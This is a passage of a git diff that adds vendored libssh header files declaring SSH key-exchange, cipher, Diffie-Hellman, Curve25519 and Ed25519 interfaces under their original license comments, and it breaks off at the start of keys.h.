a/vendor/libssh/include/libssh/config_parser.h b/vendor/libssh/include/libssh/config_parser.h new file mode 100644 index 0000000..a7dd42a --- /dev/null +++ b/vendor/libssh/include/libssh/config_parser.h @@ -0,0 +1,65 @@ +/* + * config_parser.h - Common configuration file parser functions + * + * This file is part of the SSH Library + * + * Copyright (c) 2019 by Red Hat, Inc. + * + * Author: Anderson Toshiyuki Sasaki + * + * The SSH Library is free software; you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation; either version 2.1 of the License, or (at your + * option) any later version. + * + * The SSH Library is distributed in the hope that it will be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY + * or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public + * License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with the SSH Library; see the file COPYING. If not, write to + * the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, + * MA 02111-1307, USA. + */ + +#ifndef CONFIG_PARSER_H_ +#define CONFIG_PARSER_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +char *ssh_config_get_cmd(char **str); + +char *ssh_config_get_token(char **str); + +long ssh_config_get_long(char **str, long notfound); + +const char *ssh_config_get_str_tok(char **str, const char *def); + +int ssh_config_get_yesno(char **str, int notfound); + +/* @brief Parse SSH URI in format [user@]host[:port] from the given string + * + * @param[in] tok String to parse + * @param[out] username Pointer to the location, where the new username will + * be stored or NULL if we do not care about the result. + * @param[out] hostname Pointer to the location, where the new hostname will + * be stored or NULL if we do not care about the result. + * @param[out] port Pointer to the location, where the new port will + * be stored or NULL if we do not care about the result. + * + * @returns SSH_OK if the provided string is in format of SSH URI, + * SSH_ERROR on failure + */ +int ssh_config_parse_uri(const char *tok, + char **username, + char **hostname, + char **port); + +#ifdef __cplusplus +} +#endif + +#endif /* LIBSSH_CONFIG_H_ */ diff --git a/vendor/libssh/include/libssh/crypto.h b/vendor/libssh/include/libssh/crypto.h new file mode 100644 index 0000000..3dba18d --- /dev/null +++ b/vendor/libssh/include/libssh/crypto.h @@ -0,0 +1,238 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2003-2009 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +/* + * crypto.h is an include file for internal cryptographic structures of libssh + */ + +#ifndef _CRYPTO_H_ +#define _CRYPTO_H_ + +#include +#include "config.h" + +#ifdef HAVE_LIBGCRYPT +#include +#elif defined(HAVE_LIBMBEDCRYPTO) +#include +#endif +#include "libssh/wrapper.h" + +#ifdef cbc_encrypt +#undef cbc_encrypt +#endif +#ifdef cbc_decrypt +#undef cbc_decrypt +#endif + +#ifdef HAVE_OPENSSL_ECDH_H +#include +#endif +#include "libssh/dh.h" +#include "libssh/ecdh.h" +#include "libssh/kex.h" +#include "libssh/curve25519.h" + +#define DIGEST_MAX_LEN 64 + +#define AES_GCM_TAGLEN 16 +#define AES_GCM_IVLEN 12 + +enum ssh_key_exchange_e { + /* diffie-hellman-group1-sha1 */ + SSH_KEX_DH_GROUP1_SHA1=1, + /* diffie-hellman-group14-sha1 */ + SSH_KEX_DH_GROUP14_SHA1, +#ifdef WITH_GEX + /* diffie-hellman-group-exchange-sha1 */ + SSH_KEX_DH_GEX_SHA1, + /* diffie-hellman-group-exchange-sha256 */ + SSH_KEX_DH_GEX_SHA256, +#endif /* WITH_GEX */ + /* ecdh-sha2-nistp256 */ + SSH_KEX_ECDH_SHA2_NISTP256, + /* ecdh-sha2-nistp384 */ + SSH_KEX_ECDH_SHA2_NISTP384, + /* ecdh-sha2-nistp521 */ + SSH_KEX_ECDH_SHA2_NISTP521, + /* curve25519-sha256@libssh.org */ + SSH_KEX_CURVE25519_SHA256_LIBSSH_ORG, + /* curve25519-sha256 */ + SSH_KEX_CURVE25519_SHA256, + /* diffie-hellman-group16-sha512 */ + SSH_KEX_DH_GROUP16_SHA512, + /* diffie-hellman-group18-sha512 */ + SSH_KEX_DH_GROUP18_SHA512, + /* diffie-hellman-group14-sha256 */ + SSH_KEX_DH_GROUP14_SHA256, +}; + +enum ssh_cipher_e { + SSH_NO_CIPHER=0, +#ifdef WITH_BLOWFISH_CIPHER + SSH_BLOWFISH_CBC, +#endif /* WITH_BLOWFISH_CIPHER */ + SSH_3DES_CBC, + SSH_AES128_CBC, + SSH_AES192_CBC, + SSH_AES256_CBC, + SSH_AES128_CTR, + SSH_AES192_CTR, + SSH_AES256_CTR, + SSH_AEAD_AES128_GCM, + SSH_AEAD_AES256_GCM, + SSH_AEAD_CHACHA20_POLY1305 +}; + +struct dh_ctx; + +struct ssh_crypto_struct { + bignum shared_secret; + struct dh_ctx *dh_ctx; +#ifdef WITH_GEX + size_t dh_pmin; size_t dh_pn; size_t dh_pmax; /* preferred group parameters */ +#endif /* WITH_GEX */ +#ifdef HAVE_ECDH +#ifdef HAVE_OPENSSL_ECC +/* TODO Change to new API when the OpenSSL will support export of uncompressed EC keys + * https://github.com/openssl/openssl/pull/16624 + * #if OPENSSL_VERSION_NUMBER < 0x30000000L + */ +#if 1 + EC_KEY *ecdh_privkey; +#else + EVP_PKEY *ecdh_privkey; +#endif /* OPENSSL_VERSION_NUMBER */ +#elif defined HAVE_GCRYPT_ECC + gcry_sexp_t ecdh_privkey; +#elif defined HAVE_LIBMBEDCRYPTO + mbedtls_ecp_keypair *ecdh_privkey; +#endif + ssh_string ecdh_client_pubkey; + ssh_string ecdh_server_pubkey; +#endif +#ifdef HAVE_CURVE25519 + ssh_curve25519_privkey curve25519_privkey; + ssh_curve25519_pubkey curve25519_client_pubkey; + ssh_curve25519_pubkey curve25519_server_pubkey; +#endif + ssh_string dh_server_signature; /* information used by dh_handshake. */ + size_t session_id_len; + unsigned char *session_id; + size_t digest_len; /* len of the secret hash */ + unsigned char *secret_hash; /* Secret hash is same as session id until re-kex */ + unsigned char *encryptIV; + unsigned char *decryptIV; + unsigned char *decryptkey; + unsigned char *encryptkey; + unsigned char *encryptMAC; + unsigned char *decryptMAC; + unsigned char hmacbuf[DIGEST_MAX_LEN]; + struct ssh_cipher_struct *in_cipher, *out_cipher; /* the cipher structures/objects */ + enum ssh_hmac_e in_hmac, out_hmac; /* the MAC algorithms used */ + bool in_hmac_etm, out_hmac_etm; /* Whether EtM mode is used or not */ + + ssh_key server_pubkey; + int do_compress_out; /* idem */ + int do_compress_in; /* don't set them, set the option instead */ + int delayed_compress_in; /* Use of zlib@openssh.org */ + int delayed_compress_out; + void *compress_out_ctx; /* don't touch it */ + void *compress_in_ctx; /* really, don't */ + /* kex sent by server, client, and mutually elected methods */ + struct ssh_kex_struct server_kex; + struct ssh_kex_struct client_kex; + char *kex_methods[SSH_KEX_METHODS]; + enum ssh_key_exchange_e kex_type; + enum ssh_kdf_digest digest_type; /* Digest type for session keys derivation */ + enum ssh_crypto_direction_e used; /* Is this crypto still used for either of directions? */ +}; + +struct ssh_cipher_struct { + const char *name; /* ssh name of the algorithm */ + unsigned int blocksize; /* blocksize of the algo */ + enum ssh_cipher_e ciphertype; + uint32_t lenfield_blocksize; /* blocksize of the packet length field */ + size_t keylen; /* length of the key structure */ +#ifdef HAVE_LIBGCRYPT + gcry_cipher_hd_t *key; + unsigned char last_iv[AES_GCM_IVLEN]; +#elif defined HAVE_LIBCRYPTO + struct ssh_3des_key_schedule *des3_key; + struct ssh_aes_key_schedule *aes_key; + const EVP_CIPHER *cipher; + EVP_CIPHER_CTX *ctx; +#elif defined HAVE_LIBMBEDCRYPTO + mbedtls_cipher_context_t encrypt_ctx; + mbedtls_cipher_context_t decrypt_ctx; + mbedtls_cipher_type_t type; +#ifdef MBEDTLS_GCM_C + mbedtls_gcm_context gcm_ctx; + unsigned char last_iv[AES_GCM_IVLEN]; +#endif /* MBEDTLS_GCM_C */ +#endif + struct chacha20_poly1305_keysched *chacha20_schedule; + unsigned int keysize; /* bytes of key used. != keylen */ + size_t tag_size; /* overhead required for tag */ + /* Counters for rekeying initialization */ + uint32_t packets; + uint64_t blocks; + /* Rekeying limit for the cipher or manually enforced */ + uint64_t max_blocks; + /* sets the new key for immediate use */ + int (*set_encrypt_key)(struct ssh_cipher_struct *cipher, void *key, void *IV); + int (*set_decrypt_key)(struct ssh_cipher_struct *cipher, void *key, void *IV); + void (*encrypt)(struct ssh_cipher_struct *cipher, + void *in, + void *out, + size_t len); + void (*decrypt)(struct ssh_cipher_struct *cipher, + void *in, + void *out, + size_t len); + void (*aead_encrypt)(struct ssh_cipher_struct *cipher, void *in, void *out, + size_t len, uint8_t *mac, uint64_t seq); + int (*aead_decrypt_length)(struct ssh_cipher_struct *cipher, void *in, + uint8_t *out, size_t len, uint64_t seq); + int (*aead_decrypt)(struct ssh_cipher_struct *cipher, void *complete_packet, uint8_t *out, + size_t encrypted_size, uint64_t seq); + void (*cleanup)(struct ssh_cipher_struct *cipher); +}; + +#ifdef __cplusplus +extern "C" { +#endif + +const struct ssh_cipher_struct *ssh_get_chacha20poly1305_cipher(void); +int sshkdf_derive_key(struct ssh_crypto_struct *crypto, + unsigned char *key, size_t key_len, + uint8_t key_type, unsigned char *output, + size_t requested_len); + +int secure_memcmp(const void *s1, const void *s2, size_t n); +#ifdef HAVE_LIBCRYPTO +ENGINE *pki_get_engine(void); +#endif /* HAVE_LIBCRYPTO */ + +#ifdef __cplusplus +} +#endif + +#endif /* _CRYPTO_H_ */ diff --git a/vendor/libssh/include/libssh/curve25519.h b/vendor/libssh/include/libssh/curve25519.h new file mode 100644 index 0000000..a55f52c --- /dev/null +++ b/vendor/libssh/include/libssh/curve25519.h @@ -0,0 +1,65 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2013 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation, + * version 2.1 of the License. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef CURVE25519_H_ +#define CURVE25519_H_ + +#include "config.h" +#include "libssh.h" + +#ifdef WITH_NACL + +#include +#define CURVE25519_PUBKEY_SIZE crypto_scalarmult_curve25519_BYTES +#define CURVE25519_PRIVKEY_SIZE crypto_scalarmult_curve25519_SCALARBYTES +#define crypto_scalarmult_base crypto_scalarmult_curve25519_base +#define crypto_scalarmult crypto_scalarmult_curve25519 +#else + +#ifdef __cplusplus +extern "C" { +#endif + +#define CURVE25519_PUBKEY_SIZE 32 +#define CURVE25519_PRIVKEY_SIZE 32 +int crypto_scalarmult_base(unsigned char *q, const unsigned char *n); +int crypto_scalarmult(unsigned char *q, const unsigned char *n, const unsigned char *p); +#endif /* WITH_NACL */ + +#ifdef HAVE_ECC +#define HAVE_CURVE25519 1 +#endif + +typedef unsigned char ssh_curve25519_pubkey[CURVE25519_PUBKEY_SIZE]; +typedef unsigned char ssh_curve25519_privkey[CURVE25519_PRIVKEY_SIZE]; + + +int ssh_client_curve25519_init(ssh_session session); +void ssh_client_curve25519_remove_callbacks(ssh_session session); + +#ifdef WITH_SERVER +void ssh_server_curve25519_init(ssh_session session); +#endif /* WITH_SERVER */ + +#ifdef __cplusplus +} +#endif + +#endif /* CURVE25519_H_ */ diff --git a/vendor/libssh/include/libssh/dh-gex.h b/vendor/libssh/include/libssh/dh-gex.h new file mode 100644 index 0000000..0f547e3 --- /dev/null +++ b/vendor/libssh/include/libssh/dh-gex.h @@ -0,0 +1,41 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2016 by Aris Adamantiadis + * + * The SSH Library is free software; you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation; either version 2.1 of the License, or (at your + * option) any later version. + * + * The SSH Library is distributed in the hope that it will be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY + * or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public + * License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with the SSH Library; see the file COPYING. If not, write to + * the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, + * MA 02111-1307, USA. + */ + + +#ifndef SRC_DH_GEX_H_ +#define SRC_DH_GEX_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +int ssh_client_dhgex_init(ssh_session session); +void ssh_client_dhgex_remove_callbacks(ssh_session session); + +#ifdef WITH_SERVER +void ssh_server_dhgex_init(ssh_session session); +#endif /* WITH_SERVER */ + +#ifdef __cplusplus +} +#endif + +#endif /* SRC_DH_GEX_H_ */ diff --git a/vendor/libssh/include/libssh/dh.h b/vendor/libssh/include/libssh/dh.h new file mode 100644 index 0000000..34c4a7e --- /dev/null +++ b/vendor/libssh/include/libssh/dh.h @@ -0,0 +1,95 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2009 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef DH_H_ +#define DH_H_ + +#include "config.h" + +#include "libssh/crypto.h" + +struct dh_ctx; + +#define DH_CLIENT_KEYPAIR 0 +#define DH_SERVER_KEYPAIR 1 + +#ifdef __cplusplus +extern "C" { +#endif + +/* functions implemented by crypto backends */ +int ssh_dh_init_common(struct ssh_crypto_struct *crypto); +void ssh_dh_cleanup(struct ssh_crypto_struct *crypto); + +#if !defined(HAVE_LIBCRYPTO) || OPENSSL_VERSION_NUMBER < 0x30000000L +int ssh_dh_get_parameters(struct dh_ctx *ctx, + const_bignum *modulus, const_bignum *generator); +#else +int ssh_dh_get_parameters(struct dh_ctx *ctx, + bignum *modulus, bignum *generator); +#endif /* OPENSSL_VERSION_NUMBER */ +int ssh_dh_set_parameters(struct dh_ctx *ctx, + const bignum modulus, const bignum generator); + +int ssh_dh_keypair_gen_keys(struct dh_ctx *ctx, int peer); +#if !defined(HAVE_LIBCRYPTO) || OPENSSL_VERSION_NUMBER < 0x30000000L +int ssh_dh_keypair_get_keys(struct dh_ctx *ctx, int peer, + const_bignum *priv, const_bignum *pub); +#else +int ssh_dh_keypair_get_keys(struct dh_ctx *ctx, int peer, + bignum *priv, bignum *pub); +#endif /* OPENSSL_VERSION_NUMBER */ +int ssh_dh_keypair_set_keys(struct dh_ctx *ctx, int peer, + bignum priv, bignum pub); + +int ssh_dh_compute_shared_secret(struct dh_ctx *ctx, int local, int remote, + bignum *dest); + +void ssh_dh_debug_crypto(struct ssh_crypto_struct *c); + +/* common functions */ +int ssh_dh_init(void); +void ssh_dh_finalize(void); + +int ssh_dh_import_next_pubkey_blob(ssh_session session, + ssh_string pubkey_blob); + +ssh_key ssh_dh_get_current_server_publickey(ssh_session session); +int ssh_dh_get_current_server_publickey_blob(ssh_session session, + ssh_string *pubkey_blob); +ssh_key ssh_dh_get_next_server_publickey(ssh_session session); +int ssh_dh_get_next_server_publickey_blob(ssh_session session, + ssh_string *pubkey_blob); +int dh_handshake(ssh_session session); + +int ssh_client_dh_init(ssh_session session); +void ssh_client_dh_remove_callbacks(ssh_session session); +#ifdef WITH_SERVER +void ssh_server_dh_init(ssh_session session); +#endif /* WITH_SERVER */ +int ssh_server_dh_process_init(ssh_session session, ssh_buffer packet); +int ssh_fallback_group(uint32_t pmax, bignum *p, bignum *g); +bool ssh_dh_is_known_group(bignum modulus, bignum generator); + +#ifdef __cplusplus +} +#endif + +#endif /* DH_H_ */ diff --git a/vendor/libssh/include/libssh/ecdh.h b/vendor/libssh/include/libssh/ecdh.h new file mode 100644 index 0000000..4c4c54e --- /dev/null +++ b/vendor/libssh/include/libssh/ecdh.h @@ -0,0 +1,65 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2011 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef ECDH_H_ +#define ECDH_H_ + +#include "config.h" +#include "libssh/callbacks.h" + +#ifdef HAVE_LIBCRYPTO +#ifdef HAVE_OPENSSL_ECDH_H + +#ifdef HAVE_ECC +#define HAVE_ECDH 1 +#endif + +#endif /* HAVE_OPENSSL_ECDH_H */ +#endif /* HAVE_LIBCRYPTO */ + +#ifdef HAVE_GCRYPT_ECC +#define HAVE_ECDH 1 +#endif + +#ifdef HAVE_LIBMBEDCRYPTO +#define HAVE_ECDH 1 +#endif + +#ifdef __cplusplus +extern "C" { +#endif + +extern struct ssh_packet_callbacks_struct ssh_ecdh_client_callbacks; +/* Backend-specific functions. */ +int ssh_client_ecdh_init(ssh_session session); +void ssh_client_ecdh_remove_callbacks(ssh_session session); +int ecdh_build_k(ssh_session session); + +#ifdef WITH_SERVER +extern struct ssh_packet_callbacks_struct ssh_ecdh_server_callbacks; +void ssh_server_ecdh_init(ssh_session session); +SSH_PACKET_CALLBACK(ssh_packet_server_ecdh_init); +#endif /* WITH_SERVER */ + +#ifdef __cplusplus +} +#endif + +#endif /* ECDH_H_ */ diff --git a/vendor/libssh/include/libssh/ed25519.h b/vendor/libssh/include/libssh/ed25519.h new file mode 100644 index 0000000..72a86c0 --- /dev/null +++ b/vendor/libssh/include/libssh/ed25519.h @@ -0,0 +1,87 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2014 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef ED25519_H_ +#define ED25519_H_ +#include "libssh/priv.h" + +/** + * @defgroup ed25519 ed25519 API + * @brief API for DJB's ed25519 + * + * @{ + */ + +#define ED25519_PK_LEN 32 +#define ED25519_SK_LEN 64 +#define ED25519_SIG_LEN 64 + +typedef uint8_t ed25519_pubkey[ED25519_PK_LEN]; +typedef uint8_t ed25519_privkey[ED25519_SK_LEN]; +typedef uint8_t ed25519_signature[ED25519_SIG_LEN]; + +#ifdef __cplusplus +extern "C" { +#endif + +/** @internal + * @brief generate an ed25519 key pair + * @param[out] pk generated public key + * @param[out] sk generated secret key + * @return 0 on success, -1 on error. + * */ +int crypto_sign_ed25519_keypair(ed25519_pubkey pk, ed25519_privkey sk); + +/** @internal + * @brief sign a message with ed25519 + * @param[out] sm location to store the signed message. + * Its length should be mlen + 64. + * @param[out] smlen pointer to the size of the signed message + * @param[in] m message to be signed + * @param[in] mlen length of the message to be signed + * @param[in] sk secret key to sign the message with + * @return 0 on success. + */ +int crypto_sign_ed25519( + unsigned char *sm, uint64_t *smlen, + const unsigned char *m, uint64_t mlen, + const ed25519_privkey sk); + +/** @internal + * @brief "open" and verify the signature of a signed message + * @param[out] m location to store the verified message. + * Its length should be equal to smlen. + * @param[out] mlen pointer to the size of the verified message + * @param[in] sm signed message to verify + * @param[in] smlen length of the signed message to verify + * @param[in] pk public key used to sign the message + * @returns 0 on success (supposedly). + */ +int crypto_sign_ed25519_open( + unsigned char *m, uint64_t *mlen, + const unsigned char *sm, uint64_t smlen, + const ed25519_pubkey pk); + +/** @} */ +#ifdef __cplusplus +} +#endif + +#endif /* ED25519_H_ */ diff --git a/vendor/libssh/include/libssh/fe25519.h b/vendor/libssh/include/libssh/fe25519.h new file mode 100644 index 0000000..0dfb061 --- /dev/null +++ b/vendor/libssh/include/libssh/fe25519.h @@ -0,0 +1,76 @@ +/* $OpenBSD: fe25519.h,v 1.3 2013/12/09 11:03:45 markus Exp $ */ + +/* + * Public Domain, Authors: Daniel J. Bernstein, Niels Duif, Tanja Lange, + * Peter Schwabe, Bo-Yin Yang. + * Copied from supercop-20130419/crypto_sign/ed25519/ref/fe25519.h + */ + +#ifndef FE25519_H +#define FE25519_H + +#include "libssh/priv.h" + +#define fe25519 crypto_sign_ed25519_ref_fe25519 +#define fe25519_freeze crypto_sign_ed25519_ref_fe25519_freeze +#define fe25519_unpack crypto_sign_ed25519_ref_fe25519_unpack +#define fe25519_pack crypto_sign_ed25519_ref_fe25519_pack +#define fe25519_iszero crypto_sign_ed25519_ref_fe25519_iszero +#define fe25519_iseq_vartime crypto_sign_ed25519_ref_fe25519_iseq_vartime +#define fe25519_cmov crypto_sign_ed25519_ref_fe25519_cmov +#define fe25519_setone crypto_sign_ed25519_ref_fe25519_setone +#define fe25519_setzero crypto_sign_ed25519_ref_fe25519_setzero +#define fe25519_neg crypto_sign_ed25519_ref_fe25519_neg +#define fe25519_getparity crypto_sign_ed25519_ref_fe25519_getparity +#define fe25519_add crypto_sign_ed25519_ref_fe25519_add +#define fe25519_sub crypto_sign_ed25519_ref_fe25519_sub +#define fe25519_mul crypto_sign_ed25519_ref_fe25519_mul +#define fe25519_square crypto_sign_ed25519_ref_fe25519_square +#define fe25519_invert crypto_sign_ed25519_ref_fe25519_invert +#define fe25519_pow2523 crypto_sign_ed25519_ref_fe25519_pow2523 + +typedef struct { + uint32_t v[32]; +} fe25519; + +#ifdef __cplusplus +extern "C" { +#endif + +void fe25519_freeze(fe25519 *r); + +void fe25519_unpack(fe25519 *r, const unsigned char x[32]); + +void fe25519_pack(unsigned char r[32], const fe25519 *x); + +uint32_t fe25519_iszero(const fe25519 *x); + +int fe25519_iseq_vartime(const fe25519 *x, const fe25519 *y); + +void fe25519_cmov(fe25519 *r, const fe25519 *x, unsigned char b); + +void fe25519_setone(fe25519 *r); + +void fe25519_setzero(fe25519 *r); + +void fe25519_neg(fe25519 *r, const fe25519 *x); + +unsigned char fe25519_getparity(const fe25519 *x); + +void fe25519_add(fe25519 *r, const fe25519 *x, const fe25519 *y); + +void fe25519_sub(fe25519 *r, const fe25519 *x, const fe25519 *y); + +void fe25519_mul(fe25519 *r, const fe25519 *x, const fe25519 *y); + +void fe25519_square(fe25519 *r, const fe25519 *x); + +void fe25519_invert(fe25519 *r, const fe25519 *x); + +void fe25519_pow2523(fe25519 *r, const fe25519 *x); + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/vendor/libssh/include/libssh/ge25519.h b/vendor/libssh/include/libssh/ge25519.h new file mode 100644 index 0000000..480f29d --- /dev/null +++ b/vendor/libssh/include/libssh/ge25519.h @@ -0,0 +1,51 @@ +/* $OpenBSD: ge25519.h,v 1.3 2013/12/09 11:03:45 markus Exp $ */ + +/* + * Public Domain, Authors: Daniel J. Bernstein, Niels Duif, Tanja Lange, + * Peter Schwabe, Bo-Yin Yang. + * Copied from supercop-20130419/crypto_sign/ed25519/ref/ge25519.h + */ + +#ifndef GE25519_H +#define GE25519_H + +#include "fe25519.h" +#include "sc25519.h" + +#define ge25519 crypto_sign_ed25519_ref_ge25519 +#define ge25519_base crypto_sign_ed25519_ref_ge25519_base +#define ge25519_unpackneg_vartime crypto_sign_ed25519_ref_unpackneg_vartime +#define ge25519_pack crypto_sign_ed25519_ref_pack +#define ge25519_isneutral_vartime crypto_sign_ed25519_ref_isneutral_vartime +#define ge25519_double_scalarmult_vartime crypto_sign_ed25519_ref_double_scalarmult_vartime +#define ge25519_scalarmult_base crypto_sign_ed25519_ref_scalarmult_base + +typedef struct +{ + fe25519 x; + fe25519 y; + fe25519 z; + fe25519 t; +} ge25519; + +#ifdef __cplusplus +extern "C" { +#endif + +extern const ge25519 ge25519_base; + +int ge25519_unpackneg_vartime(ge25519 *r, const unsigned char p[32]); + +void ge25519_pack(unsigned char r[32], const ge25519 *p); + +int ge25519_isneutral_vartime(const ge25519 *p); + +void ge25519_double_scalarmult_vartime(ge25519 *r, const ge25519 *p1, const sc25519 *s1, const ge25519 *p2, const sc25519 *s2); + +void ge25519_scalarmult_base(ge25519 *r, const sc25519 *s); + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/vendor/libssh/include/libssh/gssapi.h b/vendor/libssh/include/libssh/gssapi.h new file mode 100644 index 0000000..b0c74c7 --- /dev/null +++ b/vendor/libssh/include/libssh/gssapi.h @@ -0,0 +1,53 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2013 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef GSSAPI_H_ +#define GSSAPI_H_ + +#include "config.h" +#include "session.h" + +/* all OID begin with the tag identifier + length */ +#define SSH_OID_TAG 06 + +typedef struct ssh_gssapi_struct *ssh_gssapi; + +#ifdef __cplusplus +extern "C" { +#endif + +#ifdef WITH_SERVER +int ssh_gssapi_handle_userauth(ssh_session session, const char *user, uint32_t n_oid, ssh_string *oids); +SSH_PACKET_CALLBACK(ssh_packet_userauth_gssapi_token_server); +SSH_PACKET_CALLBACK(ssh_packet_userauth_gssapi_mic); +#endif /* WITH_SERVER */ + +SSH_PACKET_CALLBACK(ssh_packet_userauth_gssapi_token); +SSH_PACKET_CALLBACK(ssh_packet_userauth_gssapi_token_client); +SSH_PACKET_CALLBACK(ssh_packet_userauth_gssapi_response); + + +int ssh_gssapi_auth_mic(ssh_session session); + +#ifdef __cplusplus +} +#endif + +#endif /* GSSAPI_H */ diff --git a/vendor/libssh/include/libssh/kex.h b/vendor/libssh/include/libssh/kex.h new file mode 100644 index 0000000..ba98fde --- /dev/null +++ b/vendor/libssh/include/libssh/kex.h @@ -0,0 +1,68 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2009 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef KEX_H_ +#define KEX_H_ + +#include "libssh/priv.h" +#include "libssh/callbacks.h" + +#define SSH_KEX_METHODS 10 + +struct ssh_kex_struct { + unsigned char cookie[16]; + char *methods[SSH_KEX_METHODS]; +}; + +#ifdef __cplusplus +extern "C" { +#endif + +SSH_PACKET_CALLBACK(ssh_packet_kexinit); + +int ssh_send_kex(ssh_session session); +void ssh_list_kex(struct ssh_kex_struct *kex); +int ssh_set_client_kex(ssh_session session); +int ssh_kex_append_extensions(ssh_session session, struct ssh_kex_struct *pkex); +int ssh_kex_select_methods(ssh_session session); +int ssh_verify_existing_algo(enum ssh_kex_types_e algo, const char *name); +char *ssh_keep_known_algos(enum ssh_kex_types_e algo, const char *list); +char *ssh_keep_fips_algos(enum ssh_kex_types_e algo, const char *list); +char **ssh_space_tokenize(const char *chain); +int ssh_get_kex1(ssh_session session); +char *ssh_find_matching(const char *in_d, const char *what_d); +const char *ssh_kex_get_supported_method(uint32_t algo); +const char *ssh_kex_get_default_methods(uint32_t algo); +const char *ssh_kex_get_fips_methods(uint32_t algo); +const char *ssh_kex_get_description(uint32_t algo); +char *ssh_client_select_hostkeys(ssh_session session); +int ssh_send_rekex(ssh_session session); +int server_set_kex(ssh_session session); +int ssh_make_sessionid(ssh_session session); +/* add data for the final cookie */ +int ssh_hashbufin_add_cookie(ssh_session session, unsigned char *cookie); +int ssh_hashbufout_add_cookie(ssh_session session); +int ssh_generate_session_keys(ssh_session session); + +#ifdef __cplusplus +} +#endif + +#endif /* KEX_H_ */ diff --git a/vendor/libssh/include/libssh/keys.h b/vendor/libssh/include/libssh/keys.h 